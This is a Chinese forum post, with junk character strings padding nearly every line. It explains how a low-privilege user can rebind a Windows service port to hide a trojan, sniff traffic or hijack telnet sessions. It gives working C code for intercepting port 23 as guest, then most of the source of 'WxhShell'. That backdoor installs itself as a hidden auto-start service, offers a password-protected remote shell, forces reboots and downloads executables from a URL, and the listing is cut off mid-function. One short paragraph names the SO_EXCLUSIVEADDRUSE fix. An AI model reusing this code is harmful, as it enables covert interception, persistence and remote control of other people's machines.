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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: wfJ[" q   
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); R c.8j,]  
)`V__^  
  saddr.sin_family = AF_INET; Q|1X|_hs  
E{#Y=  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); !J%m7 A  
)tB1jcI;  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); f|cF [&wo  
eN?:3cP#l  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 "?Mf%u1R  
}8\"oA6  
  这意味着什么?意味着可以进行如下的攻击: =JK# "'  
|TE\]  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 `JrvD  
;xl_9Ht/  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) noLb  
!P"=57d}"l  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 zm9_[0  
KJ]ejb$  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  DP-euz  
/EXub U73  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 L3 VyW8Y  
l*0`{R  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 A>OGU ^  
j1hx{P'  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 CNRiK;nQ  
[ ]LiL;A&  
  #include j}dev pO  
  #include VJ'bS9/T  
  #include <e%~K4KH  
  #include    H5 'Le{  
  DWORD WINAPI ClientThread(LPVOID lpParam);   Dn9AOi!  
  int main() /[|ODfY  
  { =nTNL.SX  
  WORD wVersionRequested; rcyq+wY #  
  DWORD ret; u}L;/1,B  
  WSADATA wsaData; A!\-e*+W=  
  BOOL val; GSh~j-C'  
  SOCKADDR_IN saddr; i)[8dv  
  SOCKADDR_IN scaddr; G._E9  
  int err; Dqu][~oQ  
  SOCKET s; LmA IvEr  
  SOCKET sc; <s737Rl  
  int caddsize; SA'c}gP  
  HANDLE mt; :: 2pDtMS  
  DWORD tid;   )b_ GKA `  
  wVersionRequested = MAKEWORD( 2, 2 ); W2CQk  
  err = WSAStartup( wVersionRequested, &wsaData ); %!_%%p,f  
  if ( err != 0 ) { $!-a)U,w$B  
  printf("error!WSAStartup failed!\n"); _);;@T  
  return -1; 4qc 0QA%  
  } 3"pl="[*  
  saddr.sin_family = AF_INET; w' gKE'c  
   ~l=Jx*  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 |##rs  
&\_cU?0d  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ?7:?OX  
  saddr.sin_port = htons(23); ~=pAy>oV  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) #!n"),3  
  { VSJ08Ngi   
  printf("error!socket failed!\n"); 5{@Hpj/B  
  return -1; B,]:<1l~  
  } ,7{}}l  
  val = TRUE; B2uLfi$q  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 '+Gy)@c  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) #P''+$5,  
  { |k-IY]6  
  printf("error!setsockopt failed!\n"); 1hT!~'  
  return -1; *P mk1h2  
  } Q:+cLl&;hB  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; UFED*al#  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 !UV/p"CfX  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 )&$Zt(  
?[ts<Ltp  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 1~x=bphS  
  { 5%5z@Ka  
  ret=GetLastError(); @}^eyS$|!  
  printf("error!bind failed!\n"); pOz4>R  
  return -1; pSLv1d"9{  
  } 9u->.O: p  
  listen(s,2); ;Npv 2yAab  
  while(1) ^z^ UFW  
  { :<}.3Q?&  
  caddsize = sizeof(scaddr); xg>AW Q  
  //接受连接请求 jP-=x(  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); s=uWBh3J  
  if(sc!=INVALID_SOCKET) h{sY5d'D  
  { .L X8ko  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); yM8<)6=  
  if(mt==NULL) vX'@we7Q{  
  { Yp_R+a^  
  printf("Thread Creat Failed!\n"); 9b0M'x'W5  
  break; m#(tBfH[  
  } (M5{y` Kk  
  } !Hk$  t  
  CloseHandle(mt); R&Oqm hT!  
  } (;11xu  
  closesocket(s); =>0+BD  
  WSACleanup(); #] @<YKoV{  
  return 0; <Rl:=(]i~  
  }   <KFE.\*Z4  
  DWORD WINAPI ClientThread(LPVOID lpParam) *FwHZZ~U  
  { LQnkpy3A  
  SOCKET ss = (SOCKET)lpParam; ^lP_{ c  
  SOCKET sc; ?QnVWu2K  
  unsigned char buf[4096]; 0V:DeX$bZ  
  SOCKADDR_IN saddr; B f_oIc  
  long num; :jFKTG  
  DWORD val; !"dbK'jb^  
  DWORD ret; ~[CtsCiQ  
  //如果是隐藏端口应用的话,可以在此处加一些判断 u I \zDR  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ||lI_B  
  saddr.sin_family = AF_INET; g]z[!&%Ahs  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); iZVMDJ?(Z]  
  saddr.sin_port = htons(23); B~/LAD_  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) _V9 O,"DDc  
  { KXgC]IO~  
  printf("error!socket failed!\n"); bs%lMa.o  
  return -1; q]\bJV^/U  
  } 2g6G\F  
  val = 100; F=29"1 ._  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) *hT1_  
  { u7e g:0Y  
  ret = GetLastError(); e*Gm()Vu,  
  return -1; bHr2LhQCN  
  } t ._PS3  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) R7L:U+*V"  
  { J#0oL_xY#  
  ret = GetLastError(); C^ hHt,&  
  return -1; k+"+s bsW'  
  } `J>76WN  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ;?y*@ *2u  
  { 5PJB<M_m:  
  printf("error!socket connect failed!\n"); &?@gUk74"  
  closesocket(sc); 6;lJs,I1w{  
  closesocket(ss); +G!N@O  
  return -1; ? 9.V@+i  
  } p<|I!n&9  
  while(1) a:o Z5PX=  
  { z|Hc=AU8y  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 FA.h?yfr  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 Q}J'S5%  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 %0PdN@I  
  num = recv(ss,buf,4096,0); CWVCYm@!kz  
  if(num>0) ZwLD7j*)  
  send(sc,buf,num,0); 0.}Um  
  else if(num==0) n.{+\M6k  
  break; )U`"3R  
  num = recv(sc,buf,4096,0); pr|P#mc"J  
  if(num>0) H:X=v+W  
  send(ss,buf,num,0); 'JBf*p".  
  else if(num==0) U8Pnt|0M  
  break; H<M ggs-  
  } <"uT=]wZ=  
  closesocket(ss); o@`& h} $  
  closesocket(sc); [mSK!Y@u  
  return 0 ; jhWNMu  
  } FQR{w  
8?GS:+  
P&/PCSf  
========================================================== ^N!l$&=  
*-timVlaE  
下边附上一个代码,,WXhSHELL 74c1i  
?"p:6%GFz  
========================================================== e!wS"[,  
SWjOJjn  
#include "stdafx.h" 3U&Qo nCV  
Jlw oSe:S  
#include <stdio.h> wX6VapFboI  
#include <string.h> qAsZ,ik  
#include <windows.h> $X %GzrN  
#include <winsock2.h> }2.^n{Y  
#include <winsvc.h> v hUn3|  
#include <urlmon.h> T/ CI?sn  
s D] W/  
#pragma comment (lib, "Ws2_32.lib") ny5 = =C{9  
#pragma comment (lib, "urlmon.lib") |H.(?!nTb  
q|,I\H5}  
#define MAX_USER   100 // 最大客户端连接数 ,Ty>sZ#/fz  
#define BUF_SOCK   200 // sock buffer )* @Oz  
#define KEY_BUFF   255 // 输入 buffer '|0Dt|$  
*M_.>".P  
#define REBOOT     0   // 重启 D?rQQxb  
#define SHUTDOWN   1   // 关机 R>"E Xq  
" }@QL`  
#define DEF_PORT   5000 // 监听端口 E'=~<&  
@WX]K0 $;  
#define REG_LEN     16   // 注册表键长度 kb?QQ\e  
#define SVC_LEN     80   // NT服务名长度  4q)eNcs  
VT1W#@`e-  
// 从dll定义API q P@4KH} e  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ?aInn:FE  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); +]Oq{v:e  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Q)}sX6TB  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); W'\{8&:!  
"v-\nAu  
// wxhshell配置信息 Bv $;yR  
struct WSCFG { t;9f7~  
  int ws_port;         // 监听端口 [R j=k)aBm  
  char ws_passstr[REG_LEN]; // 口令 3LZ0EYVL  
  int ws_autoins;       // 安装标记, 1=yes 0=no @]Ye36v0#L  
  char ws_regname[REG_LEN]; // 注册表键名 hu-fwBK  
  char ws_svcname[REG_LEN]; // 服务名 XljiK8q;%  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 rUkiwqr~E  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 M:OY8=V  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 EA 4a Z6%  
int ws_downexe;       // 下载执行标记, 1=yes 0=no dL<okw  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" >9D=PnHnD  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ZD1UMB0$4  
g2 uc+p  
}; / sENoQR  
I<*U^e  
// default Wxhshell configuration 9rX[z :  
struct WSCFG wscfg={DEF_PORT, z3b8  
    "xuhuanlingzhe", od |w)?16  
    1, &yzC\XdA  
    "Wxhshell", EI2V<v  
    "Wxhshell", t#kR@t+6$\  
            "WxhShell Service", *k'oP~:fT  
    "Wrsky Windows CmdShell Service", XpWqL9s_E  
    "Please Input Your Password: ", "A^9WhUpJ  
  1, Tn[DF9;?  
  "http://www.wrsky.com/wxhshell.exe", jRK<FK  
  "Wxhshell.exe" A'qJke=  
    }; WO*YBH@  
\>w[#4`m  
// 消息定义模块 yqqP7  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; m~\BkE/[l  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ;$(a+?  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; +bvY*^i  
char *msg_ws_ext="\n\rExit."; Q"CZ}B1<  
char *msg_ws_end="\n\rQuit."; 7|3Z+#|T  
char *msg_ws_boot="\n\rReboot..."; ):eX*  
char *msg_ws_poff="\n\rShutdown..."; in-/  
char *msg_ws_down="\n\rSave to "; 8ON$M=Ze$  
5aw#!K=J'  
char *msg_ws_err="\n\rErr!"; w-[WJ:2.  
char *msg_ws_ok="\n\rOK!"; 02&mM% #  
bF:vD&Sf  
char ExeFile[MAX_PATH]; Zb`}/%\7  
int nUser = 0; w :Fes  
HANDLE handles[MAX_USER]; RX:\@c&  
int OsIsNt; kRnh20I  
N(Us9  
SERVICE_STATUS       serviceStatus; x=yBB;&  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; fk`y}#7M  
}:YS$'by  
// 函数声明 4~4PZ  
int Install(void); Z~$=V:EA?  
int Uninstall(void); F<X)eO]tk  
int DownloadFile(char *sURL, SOCKET wsh); b mZRCvW>A  
int Boot(int flag); 5bGV91  
void HideProc(void); {Q^P<  
int GetOsVer(void); ]*U\ gm%  
int Wxhshell(SOCKET wsl); -G]\"ZGi  
void TalkWithClient(void *cs); L~Epd.,Dt  
int CmdShell(SOCKET sock); :*#AJV)  
int StartFromService(void); 2|(J<H  
int StartWxhshell(LPSTR lpCmdLine); ?stx3sZ  
WA~|:S+  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); bAt%^pc=y  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ^x %yIS  
~!j1</$_  
// 数据结构和表定义 gA~BhDS  
SERVICE_TABLE_ENTRY DispatchTable[] = 0)-l9V  
{ Zs e3e  
{wscfg.ws_svcname, NTServiceMain}, b&~rZ  
{NULL, NULL} K 4I ?1  
}; {<ymL}  
nX<!n\J T  
// 自我安装 n NZq`M  
int Install(void) $zbm!._~DA  
{ j/wG0~<kz  
  char svExeFile[MAX_PATH]; \dCoY0Z ;  
  HKEY key; <6U{I '  
  strcpy(svExeFile,ExeFile); $@+\_f'bU>  
7*d}6\ %  
// 如果是win9x系统,修改注册表设为自启动 4VSIE"8e  
if(!OsIsNt) { %Vrl"4^}t  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { lh3%2Dq$  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ^%|{>Mz;c  
  RegCloseKey(key); c, \TL ]  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { V:)k@W?P  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); lQ!ukl)  
  RegCloseKey(key); %Y:'5\^lC  
  return 0; d4/snvq  
    } yC4JYF]JN  
  } 3>yb$ZU"-  
} fyT:I6*  
else { *-T3'beg  
8263  
// 如果是NT以上系统,安装为系统服务 A!H6$-W|p  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); KWCA9.w4q  
if (schSCManager!=0) i0Qg[%{9#  
{ o5mt7/5[i  
  SC_HANDLE schService = CreateService .?CDWbzq  
  ( -#j-Zo+<  
  schSCManager, =G;whd}]  
  wscfg.ws_svcname, 1\{0z3P  
  wscfg.ws_svcdisp, PDvqA{  
  SERVICE_ALL_ACCESS, 8b !&TP~m1  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , !0 `44Gbq  
  SERVICE_AUTO_START, 9s6, &'  
  SERVICE_ERROR_NORMAL, Xoml  
  svExeFile, bw9a@X  
  NULL, ;$&&tEh)  
  NULL, ik_Ll|  
  NULL, 724E(?>J  
  NULL, Vd4x!Vk  
  NULL ;" '` P[  
  ); 0!o&=Qh  
  if (schService!=0) =B4mi.;@i  
  { Xl;u  
  CloseServiceHandle(schService); "]JE]n}Ulg  
  CloseServiceHandle(schSCManager); v$p<6^kJ  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); @fRB0m"3  
  strcat(svExeFile,wscfg.ws_svcname); ?o$6w(]''  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ?Q="w5OOD  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 8<Asg2]6  
  RegCloseKey(key); -uqJ~gD  
  return 0; Hwklk9U  
    } #JYv1F  
  } %L}9nc%~eP  
  CloseServiceHandle(schSCManager); $d{{><  
} ;VeC(^-eh6  
} !h}x,=`z/  
]}i_NqW)  
return 1; 52q@&')D4M  
} Q9q:HGXxv  
BC%t[H} >R  
// 自我卸载 _OZrH(8  
int Uninstall(void) 2Prr:k  
{ .AH#D}m  
  HKEY key; ;t:B:4r(j  
uNxR#S  
if(!OsIsNt) { ]L^X}[SH  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { l131^48U  
  RegDeleteValue(key,wscfg.ws_regname); ~ULuX"n  
  RegCloseKey(key); =<y$5"|  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { mNc (  
  RegDeleteValue(key,wscfg.ws_regname); rg "W1m[k  
  RegCloseKey(key); ",(-AU!a)h  
  return 0; b4Zkj2L  
  }  ;iy]mPd  
} 5Z ] `n  
} U2$e?1y  
else { E[/<AY^@!z  
,6~c0]/  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); e57}.pF^  
if (schSCManager!=0) XG@_Lcv*  
{ -8HIsRh  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); |F-_YR  
  if (schService!=0) QY8I_VF  
  { >7!4o9)c  
  if(DeleteService(schService)!=0) { B%6>2S=E  
  CloseServiceHandle(schService); T-xcd  
  CloseServiceHandle(schSCManager); pR4{}=g,  
  return 0; <,(6*b  
  } X<Rh-1$8F  
  CloseServiceHandle(schService); 4};iL)  
  }  4C/  
  CloseServiceHandle(schSCManager); 1u:OzyJy  
} # 5v 2`|)  
} QxwZ$?w%  
T?N' k=   
return 1; "(F>?pq  
} 8wp)aGTcU  
z'O$[6m6  
// 从指定url下载文件 ,+3l9FuQ  
int DownloadFile(char *sURL, SOCKET wsh) KRd.Ubs -  
{ lRi-?I| ~9  
  HRESULT hr; )a .w4dH  
char seps[]= "/"; ;26a8g(  
char *token;  e-sMU  
char *file; _ M8Q%  
char myURL[MAX_PATH]; !`hiXDk*2  
char myFILE[MAX_PATH];  gG1%.q  
>M<rr!|  
strcpy(myURL,sURL); Q1mz~r  
  token=strtok(myURL,seps); d!{,[8&  
  while(token!=NULL) &[`p qX  
  { Vl5}m  
    file=token; B=%cXW,  
  token=strtok(NULL,seps);  :J`:Q3@  
  } HDvj{  
pa N )t  
GetCurrentDirectory(MAX_PATH,myFILE); 1Cki}$k@  
strcat(myFILE, "\\"); ]sE~gro  
strcat(myFILE, file); (NyS2 `  
  send(wsh,myFILE,strlen(myFILE),0); , ?WTX  
send(wsh,"...",3,0); Z Mids"Xdf  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); DPw"UY:  
  if(hr==S_OK) w 6+X{  
return 0; \CM/KrCR  
else Ytmt+9  
return 1; o/@.*Rj>Bg  
'b]GcAL  
} dms R>Q  
..UmbJJ.u  
// 系统电源模块 tu#VZAPW@  
int Boot(int flag) ),v[.9!}:  
{ +v2Fr}  
  HANDLE hToken; dy-m9fc6%  
  TOKEN_PRIVILEGES tkp; j#$ R.  
5&D)W>{d  
  if(OsIsNt) { q+.DZ @  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); rY4{,4V  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); &s->,-,  
    tkp.PrivilegeCount = 1; 2>l4$G 0  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; dX-{75o5P  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); {1li3K&0s  
if(flag==REBOOT) { ><}FyK4C  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) &?f{.  
  return 0; cod__.  
} r0379 _  
else { oFB~)}f<v  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) V%g$LrLVe  
  return 0; 6Db1mvSe  
} 1Y6<i8  
  } )WF]v"t  
  else { r" d/ 9  
if(flag==REBOOT) { P95U{   
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 2>Hl=bX  
  return 0; =hxj B*")  
} .xS3,O_[  
else { 0%+S@_|  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) dnTB$8&  
  return 0; #56}RV1  
} Eq c&iS~  
} Qu,W3d  
Y!c RzQ  
return 1; ``kiAKMy  
} h}k&#X)7  
Eo 5p-  
// win9x进程隐藏模块 f=]+\0MQ  
void HideProc(void) Gl}[1<~o  
{ Ox7v*[x'  
"aIiW VQ  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); td%]l1  
  if ( hKernel != NULL ) JV(qTb W  
  { j9)P3=s  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); NNLZ38BV7  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); :0|]cHm  
    FreeLibrary(hKernel); -CtLL _I  
  } ,l^; ZE  
_TfG-Ae  
return; |=L~>G  
} ^2%_AP0=  
F$QN>wPpM  
// 获取操作系统版本 B{$4s8XU  
int GetOsVer(void) j&,,~AZm  
{ f4YcZyBGv  
  OSVERSIONINFO winfo; va F^[/ (g  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); = Ryh@X&  
  GetVersionEx(&winfo); M]4qS('[  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) `T7gfb%1-3  
  return 1; 4Xi _[ Xf  
  else Wew'bj  
  return 0; & 9}L +/,  
} (jd)sf6Tj[  
by!1L1[JTt  
// 客户端句柄模块 1"? 3l`i  
int Wxhshell(SOCKET wsl) Sm(X/P=z  
{ )'3(=F$+l  
  SOCKET wsh; ATl.Qku@  
  struct sockaddr_in client; 9Jd{HI=  
  DWORD myID; > 2_xRn<P  
dZcRLLR  
  while(nUser<MAX_USER) RnC96"";R.  
{ s ;EwAd(  
  int nSize=sizeof(client); .l5y+a'  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 8*z)aB&f3  
  if(wsh==INVALID_SOCKET) return 1; 2z+Vt_%  
kDI(Y=Fg  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); X3&-kU  
if(handles[nUser]==0) eH,r%r,  
  closesocket(wsh); .|W0B+Z8  
else &x6Z=|Ers  
  nUser++; E0; }e  
  } Br^4N9  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); C#{s[l\]  
HwfBbWHr'  
  return 0; 1bjhEO W  
} "P.H  
Jm8{@D%  
// 关闭 socket gZ vX~  
void CloseIt(SOCKET wsh) 9n4vuBgv  
{ 5-'jYp/  
closesocket(wsh); uqe{F+;8&  
nUser--; 7i^7sT8t  
ExitThread(0); =v^LShD2^  
} %+Hhe]J ld  
c6/+Ye =h  
// 客户端请求句柄 Wy1#K)LRb  
void TalkWithClient(void *cs) XTboFrf  
{ E_sKDybj  
7|Z=#3INw  
  SOCKET wsh=(SOCKET)cs; 7Nx5n<  
  char pwd[SVC_LEN]; u&{}hv&FY  
  char cmd[KEY_BUFF]; \AFoxi2h  
char chr[1]; s zBlyT  
int i,j; S}L$-7Ct  
r:pS[f|4\  
  while (nUser < MAX_USER) { d&[Ct0!++u  
~*"]XE?M  
if(wscfg.ws_passstr) { 6{Y3-Pxg  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); .}IxZM[}D  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ^6R Sbi\  
  //ZeroMemory(pwd,KEY_BUFF); 1eQfc{[g  
      i=0; rXl ~D!  
  while(i<SVC_LEN) { F<FNZQ@<U  
-Pds7}F8  
  // 设置超时 H'2&3v  
  fd_set FdRead; +9mE1$C  
  struct timeval TimeOut; jw63sn  
  FD_ZERO(&FdRead); @c 3GJ'"X  
  FD_SET(wsh,&FdRead); Rdb[{Ruxb  
  TimeOut.tv_sec=8; @o4+MQFn  
  TimeOut.tv_usec=0; n-ZOe]3  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); uu0"k<Tp  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Pnf|9?~$H  
udw>{3>  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); t~_j+k0K#  
  pwd=chr[0]; `zf,$67>1  
  if(chr[0]==0xd || chr[0]==0xa) { 2 I:x)  
  pwd=0; (4:&tm/;  
  break; ^G :}%4  
  } +5:Dy,F =  
  i++; ~V#MI@]V~  
    } a^:on?:9  
DJ&ni`  
  // 如果是非法用户,关闭 socket 3JhT  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); f@JMDJ  
} UqVcN$^b  
GM]" $  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); q{4W@Um-  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); BY*{j&^  
$y%X#:eLJ  
while(1) { bcx,K b  
:mP%qG9U  
  ZeroMemory(cmd,KEY_BUFF); }~B@Z\`O  
etnq{tE5  
      // 自动支持客户端 telnet标准   )y~FeKh  
  j=0; ]0[Gc \h}  
  while(j<KEY_BUFF) { dyH<D5  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ~H<oqk:O-  
  cmd[j]=chr[0]; qW~Z#Si  
  if(chr[0]==0xa || chr[0]==0xd) { >WYiOXYv  
  cmd[j]=0; 1P8XVI'  
  break; ^a>3U l{  
  } eXs^YPi  
  j++; _:N+mEF  
    } ub/Z'!  
#6g9@tE  
  // 下载文件 l]g /rs  
  if(strstr(cmd,"http://")) { \\ZR~f!<  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Rgstk/1  
  if(DownloadFile(cmd,wsh)) tO?NbWcp  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6YErF|  
  else 8|]r>L$Wk  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); o7 :~C]  
  } RN, 5>.w  
  else { 8>R 75 dw  
+qPpPjG;  
    switch(cmd[0]) { ,\){-H/n  
  J#1-Le8@  
  // 帮助 C0f<xhp?j  
  case '?': { Bqcih$`BVU  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); cd&^ vQL8  
    break; ON,sN  
  } z (1zth  
  // 安装 #'5C*RO  
  case 'i': { 9+irf^D`O  
    if(Install()) OBnf5*eJ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !xE /  
    else _cRCG1CJ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); TTYM!+T  
    break; X mmb^2I  
    } ,(&p "O":  
  // 卸载 >Bw<THx  
  case 'r': { |2L|Zp&  
    if(Uninstall()) FR BW(vKE  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  v|K,  
    else !g`^<y!  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Q1 t-Z; X  
    break; @p$Nw.{'  
    } 61aU~w11a  
  // 显示 wxhshell 所在路径 XBr-UjQ  
  case 'p': { c*m7'\  
    char svExeFile[MAX_PATH]; mp'Z.4  
    strcpy(svExeFile,"\n\r"); Yg<L pjq5X  
      strcat(svExeFile,ExeFile); &gxWdG}qx]  
        send(wsh,svExeFile,strlen(svExeFile),0); TmS-w  
    break; dCb7sqJ%  
    } I>bO<T`  
  // 重启 qsT@aSIo9  
  case 'b': { /VmtQ{KTt+  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ~|:U"w\[=  
    if(Boot(REBOOT)) ^cz4nW<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); A,'F`au  
    else { 2@Nt6r  
    closesocket(wsh); 3 P=I)q  
    ExitThread(0); H1t`fyri2  
    } )X2 /_3  
    break; jW8,}Xs  
    } ?lPn{oB9"  
  // 关机 `MLOf  
  case 'd': { ]Pp}=hcD  
